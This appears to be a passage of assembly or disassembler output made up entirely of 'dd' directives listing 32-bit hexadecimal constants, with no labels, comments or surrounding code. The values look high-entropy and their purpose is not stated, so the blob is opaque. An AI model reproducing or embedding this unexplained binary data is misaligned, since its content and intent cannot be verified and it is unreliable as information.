dd 0E3204439h, 0D9C403AFh, 0A1E97CEDh, 0D67E9DA0h, 85055102h
dd 4C50CACCh, 23894330h, 0C44D1D47h, 6239A102h, 45D820F1h
dd 50B71479h, 2C4A00D0h, 0A1983B3Ah, 7306BA6Dh, 0D142F1EEh
dd 0F6AB1298h, 0B32822C3h, 9149E506h, 18EFD128h, 807C030Ch
dd 5CE11FD8h, 4446EEFAh, 0D8024346h, 0DD9440AFh, 10BF98B1h
dd 9AFAE0Bh, 6EA618C0h, 0C074CC25h, 0B7725F3Eh, 579BCA1Fh
dd 1845FB09h, 88E40ECh, 0B4FCFDD9h, 33407F64h, 0F8688E48h
dd 72EA3B00h, 43960DCEh, 18C80CE3h, 0FE29ABA1h, 241E8B16h
dd 614F7400h, 92373C73h, 6BB403C8h, 26B113B0h, 0F9222803h
dd 0A24C0DD2h, 0CDA084DAh, 0B5DB9D40h, 0F1305C92h, 60F33016h
dd 728A06D0h, 5020EC3Bh, 31C0EBECh, 2426BD48h, 9D432E3Fh
dd 6E5000AEh, 5A6D62BEh, 46FEE3Eh, 40272938h, 40B9A083h
dd 220E039h, 3B74249Ah, 1C681E03h, 100755Fh, 5070B94Ch
dd 0C039A51Ah, 610553E1h, 174CE128h, 0F16D06C0h, 504004A8h
dd 88EC4CE3h, 0C1A0EAB9h, 0D7F2E50h, 6881B403h, 0CCDD3B23h
dd 0A0522493h, 0B2B9DAA8h, 2D80010h, 576F4D5Bh, 37326EFDh
dd 480B0855h, 13FBF700h, 4C47F5Ah, 0CD8242Ch, 973A12Bh
dd 0A2BC500Fh, 3012208Ah, 6EC5F319h, 64757928h, 3FE0AB0Ch
dd 3C1185h, 8EC6C25h, 28430220h, 80006277h, 660B96C7h
dd 264117E5h, 120942C1h, 0B56C4024h, 0B32DBF1Eh, 0DB054C05h
dd 4403F5EDh, 98B90942h, 562F18h, 0C42C0D46h, 0BBFBC2F7h
dd 0EE505561h, 3180BEEFh, 40788C37h, 6C03F391h, 45069328h
dd 9496E8ABh, 0D09B004Fh, 2F4B8F55h, 3B126E97h, 2007CC6Ch
dd 0CF202DB5h, 0E4ABC8CDh, 0EA9900D3h, 0DB9452BCh, 24305E73h
dd 0F86C4056h, 582D608Ah, 0DC99DA11h, 7D9CBB0Ah, 2EDEC44Ah
dd 1FCC651h, 226A10BAh, 40F0EC0Ah, 17A1AB00h, 0A40C2728h
dd 74FC51EEh, 40B0E430h, 0B3492288h, 0F3EE8548h, 0A2384001h
dd 8143F92Ah, 0F6E826AFh, 0C5465E04h, 264CA301h, 0D627AC7Ah
dd 7E7B9460h, 24A2A0E2h, 18423041h, 43AF08BBh, 0C2C4C594h
dd 0AFB50E40h, 7E0722CFh, 0A30B20EFh, 7EB93B03h, 92B174F8h
dd 0AD1D0710h, 704B1A96h, 8552EB0Ch, 0ECBF7200h, 0DE14573Fh
dd 9BFCFA5Ch, 8E410044h, 0B544FDB2h, 30824486h, 418E4900h
dd 4B8B719Dh, 68390A22h, 2A87048h, 4CEF621Dh, 0C4109453h
dd 6F793061h, 3B5434BCh, 0ACFA4428h, 0BD7C9700h, 0E426ADA4h
dd 0B60412C9h, 7AD898EFh, 204E5581h, 999F5C11h, 4218FDD8h
dd 0D1B38E2Ch, 88116C21h, 8E4A3500h, 0ADF0A143h, 407A1A07h
dd 0AF009FB6h, 0C7AB3DC5h, 8520A0C0h, 17B404B5h, 8380C879h
dd 86811900h, 9D611D31h, 126B009Ch, 3675E5A9h, 680528B6h
dd 71FC96B7h, 0A1AF940Eh, 305B4AD1h, 91D7C20h, 0C8503B7Eh
dd 0F731A823h, 10E976C7h, 7FCDA900h, 4720671Eh, 0E4C0015h
dd 0BA77C071h, 4E33ABFDh, 0E04B28FEh, 3E167672h, 6E14F7C1h
dd 0F27CA002h, 2C5A24FDh, 3E6F03CAh, 881E80CCh, 0CE18F0A2h
dd 130217E0h, 417273BEh, 0A718B88Ch, 7401D275h, 1980CF39h
dd 5E55C94h, 562C26ACh, 0F712A485h, 88E8F40Ch, 0B9541895h
dd 0D1F02008h, 0D09FCF03h, 81ADA637h, 0E460A8B5h, 1EE887h
dd 0B1C053E4h, 9AF38B97h, 3D8D0500h, 0EF660FDBh, 1D3000B3h
dd 120ECE32h, 0F707DEE0h, 9CCA2D80h, 0E770B3h, 0B3729210h
dd 0EEB213BDh, 119593Ah, 97EB597h, 75C82C14h, 679100B4h
dd 394B9A94h, 0B2068CDAh, 8B981D54h, 8460C438h, 450900A9h
dd 0EBCC202h, 0AD38CB91h, 7F2CB5h, 0FCD8F289h, 0B3249FD4h
dd 2C82CB00h, 29AEC125h, 0C82203E1h, 0C0E83214h, 0A0A3A100h
dd 0EF2E2F9h, 0E69F280Ah, 8FA000Ch, 322F9765h, 84B9C0h
dd 0DE62451Fh, 3BADF471h, 0BE5B831Eh, 14B19198h, 49E260DAh
dd 0E7112FB5h, 99A45000h, 0A9576E7Ch, 416006Bh, 338AB1D6h
dd 497FC365h, 96885300h, 8E38590Ch, 3E392C3Dh, 86D00098h
dd 3A923691h, 37E19E00h, 0CB48C94Bh, 167D05h, 8189998Eh
dd 0EEC079B9h, 0E8D98226h, 466E1D06h, 0A0060140h, 47D259E6h
dd 0A203D4B6h, 13613400h, 7F446DA7h, 0D80C0084h, 0C2147AD9h
dd 0EC006086h, 6E364730h, 921665h, 0FED57B88h, 52C618C5h
dd 0AD6D8006h, 3DA0E80Ah, 0AE008E60h, 8D51E44Ch, 0B1062628h
dd 0D211C9CBh, 20E81D20h, 0DF350777h, 84D31057h, 0B4002971h
dd 0B690EC27h, 0A8037Ch, 98959BC2h, 791E508Eh, 15004FE4h
dd 0BE4D4A56h, 49FCE8h, 0B103331Fh, 0F00CDF55h, 1253061Fh
dd 640C651Eh, 3D381163h, 518AD52Eh, 80A45F3Bh, 3D48718Fh
dd 520046C5h, 0A95614Ch, 6EFD2EBh, 2955539Bh, 455210DAh
dd 0E4C1AF04h, 0F30BF09Eh, 0C0A3B3F0h, 0F50ED903h, 0C046ADCCh
dd 41E132h, 67B1E4D2h, 33DAEE1Eh, 39293564h, 11DDDE21h
dd 601166FDh, 105D122Eh, 989E054h, 9C182841h, 0AA10A112h
dd 0B5434004h, 44526544h, 728985A6h, 7C9D5E4h, 84A8FA5Bh
dd 0E24D3091h, 9E012903h, 6C9B8255h, 17F985C5h, 399C64C0h
dd 48005EE7h, 0E31AE639h, 900010DEh, 66C46270h, 30C8BA98h
dd 0ECB6CC36h, 40075878h, 1E4D0A34h, 5F258800h, 5B0800DFh
dd 0D542CD9Dh, 523EB0BEh, 0C5480011h, 0D39F4A9Bh, 0AFA30F0Eh
dd 43E07FB3h, 36CF591Eh, 0DC8C5F00h, 4CE0385Eh, 525700E3h
dd 3FCDCBFBh, 3E008429h, 0B136CC08h, 25B69832h, 0A70D5D6h
dd 0DC46F828h, 65F41E2Ch, 4E560A00h, 6C1F63Fh, 0AF822768h
dd 14031131h, 32EEFE4Dh, 0FA6CF061h, 1927795Ah, 49D7DC17h
dd 0E060D54Ah, 5B00F915h, 74510DF1h, 74556BDh, 8BB29039h
dd 0F774C963h, 24D2EC00h, 0C31E07h, 425004C2h, 0D5B1CA4Fh
dd 638C8A00h, 58E4DD96h, 0ADF07Eh, 841FEB2Eh, 204A3A97h
dd 9830290Eh, 540B8335h, 675AF09Ch, 0C06F0CB2h, 4218A92Dh
dd 56FD9E07h, 0F4200F86h, 3EBEC1h, 0A08AAB82h, 4BE9D963h
dd 7C692E01h, 13CBAA42h, 12C7C4h, 5CA37D04h, 382F8BE9h
dd 41FA6B00h, 18D8F11h, 49B50F56h, 34C02393h, 5B40CFA5h
dd 0B09ADA00h, 2167E532h, 4D0B011Fh, 79EFA6Ah, 6620FCCCh
dd 2877E600h, 6DECEFDEh, 281E60D3h, 92DD0A8Fh, 4A973D0Eh
dd 7E198310h, 0D7B9B145h, 2F724C0h, 236C5539h, 0B8808016h
dd 5CDFB067h, 0B52E000h, 972492CBh, 0AA08013Fh, 0F777E329h
dd 467EF875h, 0E80347FAh, 847254F8h, 0F67E8C4h, 90870735h
dd 1002BC8Ch, 7229F503h, 7F524203h, 0F897F9DBh, 8A5196h
dd 7BDACFDDh, 0A9A502C0h
dd 0EACAFE00h, 9515469Ch, 5D2100B0h, 0C15440A1h, 0F548EE16h
dd 62C2F028h, 0B4D00CFCh, 3DFE1895h, 6FB6091Fh, 9EF83940h
dd 30F6BAC5h, 0E3183805h, 100A82Dh, 7FA96C0Dh, 0E744011h
dd 44AFA60h, 76B1B220h, 0C2043C38h, 2BC91816h, 0FCE044D0h
dd 0F8F77BA4h, 102300C4h, 9C8E7DDDh, 45020F4Ah, 6E7E833Ah
dd 36E540AEh, 30A9E4B9h, 3878429Ah, 26007B52h, 0C354D348h
dd 0E0CC23h, 7696FADDh, 912BC522h, 7EE2D200h, 0AA1DAFCh
dd 9F0B3B20h, 0BEA52D00h, 13FED864h, 243A2177h, 7505876Ah
dd 7D62491Dh, 0A6E88009h, 401EC57Eh, 38003F7Bh, 0DDB83507h
dd 546A2232h, 11F0AEh, 7F8FBC09h, 3E762BC1h, 0C09EEC09h
dd 3C188020h, 0B8401FCEh, 0E84B28A6h, 59EA05F0h, 2A7FBBh
dd 0B2A3FAE8h, 12019DFCh, 691AA47Ah, 0ACD1294Fh, 3E69ED4h
dd 25D2018Ah, 68A19F4Dh, 23543048h, 0B2E26201h, 0FAEFDF29h
dd 30E605C0h, 65A28A28h, 0D7243ECFh, 9300AC92h, 0E1C4D95Fh
dd 0B66C14CBh, 8314A44Dh, 0FD04AD1Ch, 0C0A655A7h, 3C139144h
dd 6C432400h, 0BFC1E6ABh, 0D13A0EB9h, 61A06249h, 9F8FB437h
dd 32CD959h, 61620BDh, 0DC44C0D3h, 99F202C2h, 3708D79Ah
dd 0E05F440h, 6678D00Eh, 38005276h, 591D5F20h, 7CD00E4h
dd 7116D117h, 3A7D2ABDh, 0A83F4Ch, 0BC6CB063h, 0F05EE1h
dd 2A0FA11Eh, 40CCBE1Dh, 0F4EA7D00h, 8797AC33h, 2CF8E8h
dd 8B760C21h, 0F9C0BDE3h, 9A33C300h, 34667A38h, 13BA007Eh
dd 5D723C9Ch, 0B67B27ABh, 74821C0h, 37F5F32h, 84106EB3h
dd 90D7BB4Ah, 0FCD65681h, 57540800h, 8720A1E1h, 0C64600D8h
dd 0D4BBC15Dh, 9107D5F0h, 6F7A5FD9h, 1970EC90h, 34475B2h
dd 0EFC6BDC3h, 2BE01268h, 72F63978h, 2085E51Eh, 799C6EC0h
dd 4CDDD26h, 4CCB4EB3h, 0BAAF40F2h, 0AC5C9h, 3A71F580h
dd 0B647396h, 0AC00E97Fh, 615ACE47h, 40449Ah, 2C9862DCh
dd 0AF875B56h, 0A3C2B800h, 6AEDFA05h, 0C7CD07B3h, 606CEB1Ah
dd 71783845h, 0F69B7000h, 15848297h, 9CC43C87h, 80372B81h
dd 6104B8ABh, 1A81F408h, 0A5C55200h, 51BD6FF7h, 0EB7616h
dd 0CCC15C3Eh, 39232B4h, 98964A24h, 5E2EE780h, 0D460DCh
dd 0A6124D87h, 2988C516h, 0F763C607h, 0FEE0197Ch, 3BC9A3C7h
dd 0F2807A68h, 0E7784504h, 503EF8Fh, 833D0C11h, 2B749181h
dd 5BFED200h, 68002098h, 1E5166D7h, 484DB4B8h, 4404DC6Ch
dd 407253D8h, 891A142Bh, 549600C4h, 0F36A3606h, 0D00CC30h
dd 613BAF2Dh, 729FD2h, 0AC826002h, 18AEB95Ch, 93440A00h
dd 0D7A2D3B3h, 80FE640h, 3038974Eh, 0AFB8AE04h, 5D8D64D0h
dd 0D8A23FF8h, 21C46C00h, 0DC3D6966h, 0AF2A8C00h, 131F870Ah
dd 43CA051Bh, 8056903Ah, 0B6427D94h, 0BA083D07h, 0FF10EBBBh
dd 72A28C7h, 9B0172Ch, 0F7C5016h, 2700742Bh, 0D42E56ECh
dd 0E69F1542h, 0A1791CD3h, 320B8FEAh, 0B08A4040h, 50034AD2h
dd 0D33CCE54h, 4016DA9Ch, 0E677F8h, 0E27B3B76h, 9089DC8Eh
dd 88399200h, 0BA10C303h, 0F6C20160h, 46CBFAEEh, 0EDAAFC56h
dd 7A743B00h, 0A28F133Ch, 2E930129h, 2BBD145Dh, 91B2E80Ch
dd 0D680BB00h, 6423D5EFh, 0C9AC0030h, 0C6EE496Ch, 2B3BB17Dh
dd 0EB0B009Eh, 0D5236F7Bh, 1FA6ECA4h, 0A5F287h, 50029E26h
dd 7C076BB0h, 517020BFh, 0FDAFEFh, 628AFE2h, 792C0017h
dd 40C18134h, 4A3C6DE1h, 260180ADh, 0A88933B3h, 0CC4B0043h
dd 55097A19h, 0FB0E6E2Ah, 277BEF5Ah, 0C09FF090h, 2FE96C52h
dd 0D53300EAh, 270FF5FBh, 0B5C9228h, 3F30016Ch, 0A1F2F59h
dd 0F236D1D0h, 3CEA00C0h, 209493C8h, 0C7006261h, 1EB24118h
dd 148F951h, 1C25ACE1h, 0E4FF40C2h, 0B1039B3Dh, 15AFB94Dh
dd 0F1D0BFE9h, 78ACA7h, 6C276A0Ah, 0C7E293CAh, 4EDC5900h
dd 0C21BFC5Fh, 466603FBh, 9817B3CEh, 0C750EA98h, 0A0C3EE2Ch
dd 3D755300h, 0BA61FCBFh, 85CB0014h, 0F808B519h, 860366E9h
dd 0C96038A8h, 87D5E043h, 77E700B3h, 0E5363FEBh, 0DC00BE2Eh
dd 0B052132Fh, 3C9E7C01h, 0E6A6C1F9h, 81142E67h, 0E0395866h
dd 0C4D3F01Ch, 4D4A9D00h, 0D83E5201h, 0EDF0F6Dh, 17E3C6C9h
dd 5EA88286h, 0FD011B83h, 0F85C09F0h, 2DCE75Fh, 791718A2h
dd 0CC29C0D7h, 0B8477B04h, 0C0A09E5Bh, 0E8FC072Fh, 0C07263A8h
dd 0A6B2DA59h, 98C46630h, 7CD78A7Dh, 45870080h, 3A69C9F8h
dd 4F0EA6F6h, 0A0AF63D1h, 27883FB5h, 5AC78E2h, 0B0B6BC94h
dd 0F82C804Dh, 93002411h, 5E9D80FEh, 95177F4h, 92E110E0h
dd 87619042h, 24B82257h, 9C3D0449h, 4E56EC56h, 2BA35500h
dd 50E6CEh, 46D8476h, 633EF291h, 446AF400h, 5125AAF8h
dd 0C25A0096h, 0DE68CB8Ah, 16198613h, 9469802Ah, 0E0EC8D42h
dd 0BB3E84h, 8C0D2FDEh, 0E4E27923h, 0A4E9507h, 0D0F06675h
dd 55BD996h, 0B0ECAAA5h, 81A0D0B3h, 0F800C8DCh, 310122B4h
dd 66CF61h, 0AFB14E5Dh, 4D915EA9h, 300BD530h, 1CDCCCBh
dd 976DBE49h, 0E87EAEB4h, 6005709h, 788B6F69h, 6BDF0DEh
dd 0A115B68Ch, 684469D8h, 60791293h, 360000C5h, 0E9E209C4h
dd 0B7E55800h, 4E9C395Ch, 41B06Ah, 10E3D564h, 405F723Eh
dd 86D18300h, 1CA8A22Dh, 60D6E8F4h, 7AEC99F0h, 24B8D8FAh
dd 39317119h, 3DF4A319h, 0BF9000D9h, 1F2D4DF3h, 3B0774BCh
dd 56A65DA1h, 0CD9AAD60h, 9621EF2h, 0AFA2C036h, 0C4596B1Eh
dd 9815FC0Ah, 0F300C149h, 6538690Fh, 1458BACEh, 0F459F657h
dd 877C2B00h, 0D05F22D4h, 88E48CA8h, 4295D712h, 0E8A90000h
dd 0F3BF846Fh, 7949DC8h, 3C778C7Fh, 53ECF06Ah, 3B000EFAh
dd 0F420DE30h, 3F6D8A4Bh, 0E518B641h, 0F77A7028h, 0B82CB08Ah
dd 90035DF8h, 0AE27DB00h, 300AD1D2h, 730011F4h, 9C8D2B4Ch
dd 0EC89F4Ah, 451D3A74h, 0C7BC49E0h, 0F41AE346h, 62103BFAh
dd 0AC48A177h, 8DD0EC96h, 0E96E010Bh, 19B37522h, 93AC400Ch
dd 2500D41Dh, 0F9C33C9Fh, 1D67D180h, 0C06A66D5h, 0D0593797h
dd 0AF1DDB39h, 0C82A9EBEh, 3842CD4Ah, 80B32F70h, 67F5A194h
dd 42B2009Dh, 0D348969Ch, 0BA016055h, 6BD69532h, 0A0E2920Eh
dd 7B9E1DA4h, 0F9F1C005h, 6AB67401h, 8330BA48h, 1F26D998h
dd 0C007FB21h, 9F8916C6h, 9324FFF4h, 0C18524C2h, 8C009730h
dd 0EEB4167h, 0D3620B6Ah, 0F82190C2h, 24DCA22Fh, 780AE724h
dd 0BCFE8659h, 0E93D2A87h, 60F2A2E2h, 34C837h, 0E624018Ch
dd 0A5759D5Ch, 0C049100h, 1FC1F661h, 8580103h, 527B8C73h
dd 4930F0B8h, 0D00E4A01h, 0A47DA13h, 3A4278D0h, 1D0026FEh
dd 6C61D68Bh, 0B91FC3AEh, 44813410h, 3702277Eh, 0F2576C0h
dd 0ED732459h, 7FC80F2h, 4300D2A0h, 0C8B5DEEh, 4C0BE04Eh
dd 5A000859h, 72A8460Ah, 20B81801h, 34122492h, 0E4CE611Ch
dd 81B9530Eh, 0F4300097h, 0F0075114h, 7F02EF98h, 25E3BC01h
dd 0A4C880AEh, 25841C1h, 17F8538Bh, 944ACF0Dh, 4606EC2h
dd 0BC2447E4h, 0DE8790EAh, 4E504F78h, 27E58Ch, 54AF3863h
dd 5BF308Ah, 830F851Eh, 66F0E1C3h, 876DA8ACh, 0E66C0039h
dd 33C9DB58h, 8B3DA24Bh, 0F84FA87Ch, 0AA826500h, 37A4AF36h
dd 101100A5h, 1AC1FD28h, 321FA212h, 0E65D8069h, 0C52C54C7h
dd 0F8BB8323h, 71BEB3Ah, 5A5BE948h, 0D22D04Dh, 23B17A5h
dd 7C4805h, 0FD708793h, 58EEE2BDh, 3A48E9CFh, 17DB3600h
dd 881402B8h, 91086800h
dd 151633BDh, 0E3B739ABh, 0C0541E1Eh, 0B8E94A25h, 920BB470h
dd 800E08BFh, 0F051EB38h, 0DA545C42h, 0FCFB1902h, 0B4793FC1h
dd 92F66600h, 287082h, 0B68626F0h, 6E89226Bh, 7C039E7Bh
dd 1D2D942h, 1057E013h, 0A9CE0B27h, 6201284Bh, 0BD91C0F1h
dd 50387329h, 40A717FEh, 4717E800h, 1B9BD6h, 65C0E746h
dd 0A6E503C7h, 87B4341Fh, 18CC3780h, 3864BF8Ah, 9006B0Ch
dd 0D2DD2974h, 173BFE7Fh, 0D64F00E9h, 320F3D68h, 0AF5C0161h
dd 65A13E25h, 59D0435Ah, 0CAD814B0h, 0CCFB4C00h, 3A1EDB37h
dd 343600CEh, 7349FC84h, 0B018A13h, 0E0E858F2h, 9C70A246h
dd 54041E42h, 0C1F7C017h, 0BD6E3EF3h, 0FF589EEEh, 57BA01FCh
dd 1BA178A2h, 30702F4h, 7AEF43CDh, 0BCB988C0h, 8228B8FEh
dd 9B31F86Dh, 3D804896h, 30E14D21h, 0A0225600h, 48B38453h
dd 479E0E13h, 345D5440h, 5FC398h, 0D84AEA36h, 65DD52DFh
dd 490493F0h, 94F58AADh, 636E8D40h, 509072B7h, 3D525314h
dd 21C530B3h, 0BB7DEAh, 64196BFCh, 43C784D7h, 0E2577903h
dd 4B1CCB3h, 0D27DAC19h, 0B068D023h, 0A100AEC2h, 81034435h
dd 0EFC14268h, 0F7F0EE71h, 0B4F9005Dh, 0CB3C9695h, 0F803C792h
dd 5AC01B1Ch, 3E780E1Dh, 540074F9h, 9764F405h, 0AC316D03h
dd 0E8B30E7Eh, 39AD59ECh, 6902B9E2h, 8F354962h, 69559487h
dd 3CB88840h, 82320439h, 0C63BA116h, 418B40C7h, 96E00095h
dd 5FCB0AAh, 0DF136C53h, 580128EBh, 0FAE3A5E7h, 0C7FB7FF9h
dd 1AE07C57h, 31CBF32h, 19B9E80Ah, 0EFD915C5h, 2179DD43h
dd 4E4C400Eh, 6CB68DA6h, 17F7EA80h, 0EF06365h, 0C1F31072h
dd 0C282FABCh, 0FE08E51Eh, 0EDBA38C8h, 6513860Ah, 1101A03Dh
dd 6E6B844Ah, 97D485C9h, 596900FAh, 90A173A5h, 5E00B0BAh
dd 99577A2h, 236CBB8h, 0B76E6D25h, 5440B5D6h, 1916DC49h
dd 8CC03E30h, 80476678h, 0E38BD6C6h, 0E833BA40h, 35E774h
dd 7EC90EE4h, 22DEE954h, 0B2E64700h, 0F06A9F36h, 0CBB493Ah
dd 18A26F00h, 1BB7CC98h, 0DAFC0754h, 4282658h, 0B5A341D3h
dd 38C74880h, 11AA008Fh, 0A57306B8h, 48B1ED13h, 0D19EB500h
dd 0AA7EABh, 0EA663049h, 3788CEADh, 4BB77CC0h, 3915B818h
dd 340A80D6h, 0CC90F3h, 9DB335Eh, 0C4000753h, 11C2861Bh
dd 391A7862h, 66007F71h, 0DDE0A972h, 1F011479h, 347EDA9Eh
dd 0CDEC1AB0h, 43F8E9h, 0A984FC4h, 3BC8A524h, 0B1AA3D00h
dd 2D7D39F6h, 0D3C62CE0h, 0E1B70010h, 82702C30h, 0E2045AEAh
dd 58D44954h, 78980FBh, 0E30029A8h, 0D974170Eh, 124AA38h
dd 48F4D443h, 34A55F77h, 930B6C94h, 80A65390h, 0CEC24264h
dd 8CB22Bh, 0A76FAC92h, 57291814h, 0C28DD804h, 80C03674h
dd 18B5DF81h, 1037E03Ah, 5F160A2Dh, 38C7C76Dh, 0BF48B014h
dd 1E07F8h, 0F8F4C5CDh, 0B64BA5A0h, 0F2C4B850h, 0C226EE02h
dd 80877C59h, 97486CDCh, 5760Bh, 4458CFD5h, 5A74958Ah
dd 933E3190h, 188C24DDh, 630B7101h, 0FEF0273Ch, 13107699h
dd 2BAE7ACh, 17C6C170h, 90D08440h, 39AEEF00h, 9AC85B12h
dd 7E18C044h, 0A08FEEB9h, 0A6F93C00h, 6143D83h, 0DDBD01DEh
dd 80BBAB0h, 0FDE3EA51h, 2E6728C8h, 52775D00h, 0B5B18DFEh
dd 0A91100D1h, 194197E6h, 0AB00BBD4h, 5C0BD0EFh, 1EA2FA6Ch
dd 40ED87E0h, 7DC0AD4Ch, 9CA8068Bh, 44EA4EB1h, 3BC2A301h
dd 657019BCh, 0D18BD4h, 83CD73B4h, 9CCE1A84h, 803BC4BCh
dd 10AE747Fh, 3A318D1h, 0D6A6F68Bh, 2E98FBF8h, 0C8906A60h
dd 8026743Ah, 8DD43DECh, 3C82A31h, 0D23C3B1Fh, 0B0EFE1D6h
dd 8A396481h, 0EEF9B500h, 0AC049B56h, 8B0E0426h, 0CE6121D7h
dd 53007414h, 63F0BAE4h, 0A2FC67h, 8F5F97E3h, 0B534DA88h
dd 9BD2402h, 0C014B90Fh, 0FAA6DE4h, 3E2C9899h, 55AF1260h
dd 8500E9C5h, 0D7D66817h, 6C3006h, 0CCE357EEh, 0C7C936F0h
dd 0FD47FB00h, 0C4C6F69Ch, 17300094h, 0BA486EA8h, 79003D9Eh
dd 0FB8C47F3h, 904921h, 0CE4FABEh, 0EB4D6092h, 341D8000h
dd 6CECBCE7h, 81E240h, 4B506F83h, 9815608Fh, 7CC46401h
dd 6CB5EE56h, 12849760h, 0A0E2D785h, 0D6006EE8h, 7F7CE772h
dd 7EE669h, 96E46025h, 91902C29h, 9D304E0Bh, 8E3400AAh
dd 2C66409Fh, 949587h, 0D6BCA80h, 9200B13Bh, 119363Ch
dd 61A95D0Ch, 0E2EB60D6h, 78DC3880h, 0A00E37Ch, 0EFFC669h
dd 28C254DDh, 2F102C53h, 0C20BA8Bh, 47781D59h, 77FA0102h
dd 62F14F63h, 80870FF0h, 86A9D26Dh, 6949004Dh, 57BF12F5h
dd 0FD05D6DCh, 186C77F1h, 0A4D2E0D0h, 0FBDF03AEh, 0D8627801h
dd 0E73320A7h, 0FF00D7C5h, 1167D1BFh, 0C4069Fh, 8729EB52h
dd 73CF6CAFh, 750E0300h, 6DE7FFD6h, 0A01DF623h, 5408C62Ch
dd 86A4DFh, 5A80031Eh, 847C0270h, 6CE83228h, 0D6AB5D1Fh
dd 0F0E4870h, 2ADF6CDh, 0F6E18746h, 0B1C061D4h, 5C00E020h
dd 0C0A747ECh, 924D9h, 910D32EEh, 0A06525ACh, 98E38F00h
dd 602A6AC5h, 3023006Fh, 0BA5A4A10h, 8E0BCA6h, 140CA074h
dd 815C0ED6h, 281D703Ah, 18CC1964h, 0B9D74918h, 460F5D2Ah
dd 82D9CBE1h, 87D44D58h, 4448A20Ch, 0C1963121h, 0D3420508h
dd 9FB41A10h, 0B56261F0h, 46EC403Dh, 0DD5FC110h, 0E65BEB0Bh
dd 2300D829h, 4EFCE4E2h, 21C19176h, 6093B3FDh, 6157F360h
dd 166C8144h, 0AC1C403Eh, 2D00D5D7h, 6D50344Eh, 78D30F87h
dd 57DA025Dh, 245FCA2Eh, 30FBD4CBh, 432769C1h, 62C15908h
dd 4155121Fh, 0A0E04144h, 91EE06FEh, 0C9D8B446h, 0E155808h
dd 0C87D0A82h, 0BFD180ACh, 9BCE2BB3h, 679AFF01h, 53EE330Eh
dd 10849848h, 1876E657h, 82390C0Dh, 27F4AE0h, 0B4ECFB44h
dd 0A2BC1883h, 0CE8F4800h, 20D581F9h, 7AE726BAh, 72003817h
dd 749CB79Bh, 5AFF076Bh, 64804B14h, 3B7091h, 0D2430764h
dd 23E0D461h, 0BE244h, 843A2BF2h, 6CD8022Eh, 0F3089866h
dd 0E7460021h, 0E636442Bh, 4B0022A8h, 0EB739AFBh, 36BEE32h
dd 5C5FC9DEh, 458095C5h, 0E501B922h, 1F2D5854h, 2B6006B1h
dd 0D5E32A8Dh, 0D9F207ECh, 70014A16h, 0E553DF77h, 0C42908CAh
dd 16D59580h, 1C9C65EDh, 41EE1DE9h, 0AE57C62Fh, 14A447ABh
dd 0B1801EA9h, 97179DDBh, 0A87B54E4h, 0E691D4Bh, 89AD8070h
dd 4828C1A5h, 66F4A009h, 83647AD2h, 0E608C84h, 84747E2Dh
dd 0D308208Ch, 2BE32200h, 266F7C94h, 0E6B9879h, 0EA985DBEh
dd 4B4A68A0h, 8C0A5829h, 0FCD265D9h, 2406F611h, 804B4CF1h
dd 77A7EE0Ch, 139318AAh, 205C1C0Ah, 0A2852528h, 8E6F0B01h
dd 97C6D6FFh, 211A0898h, 0A2008D06h, 0C35514FAh, 0AD83902h
dd 35E91892h, 0EF9805F4h, 4ECC01F3h, 21335DABh, 0D2F1F87Fh
dd 0DC0AD300h, 994A9515h, 39320012h, 0D58D1440h, 68002D72h
dd 0FCEF0CC2h, 709C590h, 0CBF44E30h, 8C7C40FBh, 0E807A14Ah
dd 3974AA8Fh, 0AE476E10h, 0D5750005h, 4E8E267Ah, 0A3009686h
dd 2FED0A13h, 90887B7h, 0CBEFEC75h, 7C805901h, 0E4408793h
dd 4DB4AD8Ah, 902A5E80h, 83A6611h, 0D100217Eh, 597FCB85h
dd 0C0314EEFh, 676EC280h, 846348F7h, 1458D10h, 0E1DFA390h
dd 80E509FCh, 534D5910h, 0C4391ABh, 8B90788Eh, 0E4603C08h
dd 53555020h, 0A1E20735h, 0E0FE974Fh, 82760CEEh, 0CEA6DF00h
dd 0F1186511h, 0E4F1CCCBh, 7F8C7AC0h, 0F94711AFh, 80A68891h
dd 2DCB87D3h, 600B60Fh
dd 1BBD3661h, 26E1115Fh, 14C0F2FDh, 0F880A8E7h, 8E784AC6h
dd 0B3C36C50h, 0DCEDF43Bh, 879813E4h, 0F51C00AEh, 0F0C05521h
dd 7377CB5Ch, 594214C0h, 0C7EA7C4h, 7D523B39h, 1400AA80h
dd 1DBF1F56h, 1DAE6B92h, 0A3049F5h, 940FEAh, 571F7F5Bh
dd 830627EFh, 0CCC22BDFh, 1F615E8h, 0FB2EDCD9h, 46E10078h
dd 8E1C8375h, 0F81EAC00h, 339A6B71h, 0DF930044h, 72A3C4EBh
dd 8600D8B5h, 0A21F02F5h, 3FF293Ah, 0A63CA4ABh, 0FDF88910h
dd 0F2002AA7h, 39E6A9FAh, 0D02DC7h, 26EF7888h, 3ADC6643h
dd 7F714A00h, 0EB2ECB89h, 0C17A50h, 697295D7h, 0D9972D6Bh
dd 0AA00AE79h, 3B7E65D6h, 3E22CFAh, 388F5560h, 68904B53h
dd 0C618E178h, 0C9D4A4BFh, 0B08E0050h, 774F1D0Dh, 2800639Dh
dd 9E9F856Ch, 3BCE48h, 10F1113Dh, 0EC5EC5E8h, 0E9EB5503h
dd 0E8B64B02h, 4A3CE08Ah, 78D5BDA0h, 221758h, 0C13E20Eh
dd 0F1F769Dh, 0D19A2736h, 9434F680h, 1D60E608h, 1F161840h
dd 13431893h, 511C10E2h, 3835CD0Fh, 200F5E30h, 0EBF8E037h
dd 1191ADBh, 0C3474C5Bh, 40EA716Ch, 54919444h, 282CD600h
dd 1C9E7858h, 0EFE41Ah, 33A39580h, 0D46690B3h, 8663E600h
dd 75F78456h, 4AA8002Eh, 7A09F092h, 5375770Eh, 404B78C0h
dd 3EA1FA74h, 1C00CAC4h, 5E877CE1h, 94609E05h, 0E6CECCA8h
dd 9A58009Bh, 0A281DAB4h, 80066FB7h, 428E02DFh, 168904F0h
dd 0DACB12h, 73C0B34Bh, 10F629h, 89BA399Eh, 0F25A529Ah
dd 0BFE60918h, 10AB629h, 21339D84h, 9FDC6E62h, 45806119h
dd 56524223h, 0BF140255h, 0BECF3E33h, 9C50049Fh, 10F661F1h
dd 804A0F75h, 994C1BD0h, 0BD4D95h, 3E46BEE1h, 0ECCED51Ch
dd 0CF761904h, 21C1EB4Bh, 29889321h, 3B00BC6Dh, 0F00EA053h
dd 892D1CAEh, 0FA84CF44h, 93FBBE40h, 73003FCEh, 0DEF6A3ABh
dd 3DBB6A08h, 4380A616h, 8B1A23D8h, 6C00B2F0h, 449CB91Eh
dd 12D96AFFh, 0B950533h, 1383CEA3h, 0AA800C71h, 0BB003459h
